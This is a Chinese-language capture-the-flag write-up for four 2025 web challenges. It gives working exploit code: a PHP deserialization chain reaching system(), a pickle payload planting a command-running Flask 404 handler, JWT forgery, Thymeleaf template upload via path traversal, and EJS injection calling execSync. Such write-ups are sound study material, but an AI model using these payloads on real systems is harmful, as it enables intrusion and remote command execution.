羊城杯2025-Web 题目感觉出的不错,很有意思,尽力做了
ez_unserialize 思路:H->__destruct() → A::start() 回显 $a->next,让它是 V。 V::__toString() 取 $this->go->$abc,设 $abc='secret' 且 go=E 触发 E::__get() → $found->check()。 F::check() 里 finalstep='u'(小写绕过 /U/),实例化 new u() 实际拿到类 U,再 ($this->step)() 触发 U::__invoke() → 调 N::__call() → call_user_func('system', $_POST['cmd'])。
用同名类构造链,POST 两个参数:payload 和 cmd=cat /flag。
所以写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class A { public $first; public $step; public $next; } class E { private $you; public $found; private $secret; } class F { public $fifth; public $step; public $finalstep; } class H { public $who; public $are; public $you; } class V { public $good; public $keep; public $dowhat; public $go; } $v = new V(); $v->dowhat = 'secret'; $e = new E(); $f = new F(); $f->finalstep = 'u'; $e->found = $f; $v->go = $e; // A::start() echo $this->next 触发 V::__toString $a = new A(); $a->next = $v; $h = new H(); $h->who = $a; $payload = serialize($h); echo urlencode($payload);
跑完生成payload,再传上cmd参数
1 payload=O%3A1%3A%22H%22%3A3%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A5%3A%22first%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A4%3A%7Bs%3A4%3A%22good%22%3BN%3Bs%3A4%3A%22keep%22%3BN%3Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A3%3A%7Bs%3A6%3A%22%00E%00you%22%3BN%3Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A3%3A%7Bs%3A5%3A%22fifth%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7Ds%3A9%3A%22%00E%00secret%22%3BN%3B%7D%7D%7Ds%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3BN%3B%7D&cmd=cat /flag
但问ai的更短
1 2 payload=O%3A1%3A%22H%22%3A1%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A2%3A%7Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A1%3A%7Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7D%7D%7D%7D%7D &cmd=cat%20/flag
ez-blog 提示访客只能用访客账号登录哦!,先用guest/guest登录,发现分配了一个token:8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e
所以先想到伪造,登录上admin
1 2 3 4 5 6 7 8 9 10 11 12 13 import binasciihexs = "8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e" data = binascii.unhexlify(hexs) old = b"\x8c\x08is_admin\x94\x89" new = b"\x8c\x08is_admin\x94\x88" assert old in data, "未找到 is_admin=False 片段" forged = data.replace(old, new, 1 ) print (binascii.hexlify(forged).decode())
测试发现blog中不存在ssti,只能打内存马
思路:取 404 的异常类与状态码:app._get_exc_class_and_code(404)
将 Flask 的 404 错误处理器改写为:lambda a: __import__('os').popen(request.args.get('huaji')).read()
1 2 3 4 5 6 7 8 9 import binascii,pickleclass ys (): def __reduce__ (self ): return (exec ,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('ys')).read()" ,)) payload=pickle.dumps(ys()) print (binascii.hexlify(payload))
在站点传几次token
访问任意触发 404 的 URL,并在查询参数里带上 huaji=命令,就会在服务器上执行该命令
authweb 先伪造jwt,逆向分析得知有两个用户user1和admin,
而ROLE_USER权限才能文件上传,所以用user1
secret可以在JwtTokenProvider.class里面拿
写脚本生成一个jwt
1 2 3 4 5 6 7 8 9 10 import jwt, timesecret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03" now = int (time.time()) payload = { "sub" : "user1" } tok = jwt.encode(payload, secret, algorithm="HS256" ) print (tok)
之后curl测试,
1 curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw" http://45.40.247.139:15040/upload
返回405,或者使用OPTIONS 请求,都说明此处应当post上传文件,所以考虑thymeleaf模板注入,此处路径经过多次fuzz (ps:当时好像因为渲染问题一直报错)。
传模板
传了带Thymeleaf的,可以加载,证明存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <table> <thead> <tr> <th th:text="#{msgs.headers.name}">Name</th> <th th:text="#{msgs.headers.price}">Price</th> </tr> </thead> <tbody> <tr th:each="prod: ${allProducts}"> <td th:text="${prod.name}">Oranges</td> <td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td> </tr> </tbody> </table>
所以最后写文件
payload.html
1 2 3 <pre th:each="e : ${@environment.getSystemEnvironment().entrySet()}" th:text="${e.key + '=' + e.value}">123</pre>
传文件
1 2 3 4 5 6 curl -F "imgName=../../tmp/yui" -F "imgFile=@payload.html;type=text/html" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw" -v http://45.40.247.139:23951/upload 访问 http://45.40.247.139:23951/login/dynamic-template?value=file:../../../../tmp/yui curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSJ9.sFqXJja3YmLPT2ULrh0wnb-8HmGT13qSRUVs9-1rNCw" http://45.40.247.139:23951/login/dynamic-template?value=file:../../../../tmp/yui
staticNodeService 根据题目得出满足
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> int main () { FILE *file; int c; file = fopen("/flag" , "r" ); while ((c = fgetc(file)) != EOF) { putchar (c); } fclose(file); return 0 ; }
才得flag、
之后继续分析
App.js可以看到两个重要参数:templ,req.body.content
templ的功能就是决定使用哪个EJS模板渲染页面,默认是index
而content功能就是文件上传内容(base64编码)
这里就想到了node.js 注入
相关参考
Node.js 常见漏洞学习与总结-先知社区
尝试node.js注入
1 2 3 4 5 6 7 8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd" > <html > <head > <%- global.process.mainModule.require('child_process').execSync('/readflag') %> </ul > <hr > </body > </html >
Base64编码绕
1 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPgo8L3VsPgo8aHI+CjwvYm9keT4KPC9odG1sPgo8L2h0bWw+
抓包在views下面传包,content注入别忘了将请求头改成PUT
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PUT /views/jumao.ejs/. HTTP/1.1 Host: 45.40.247.139:20306 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Core/1.116.554.400 QQBrowser/19.5.6663.400 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e Content-Type: application/json If-None-Match: W/"273-if8cs80g9cADhHskk2Pvb4OoltU" Connection: keep-alive Content-Length: 754 {"content":"PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPgo8L3VsPgo8aHI+CjwvYm9keT4KPC9odG1sPgo8L2h0bWw+"}
然后根据templ 传参
1 http://45.40.247.139:20306/?templ=jumao.ejs
by. Huaji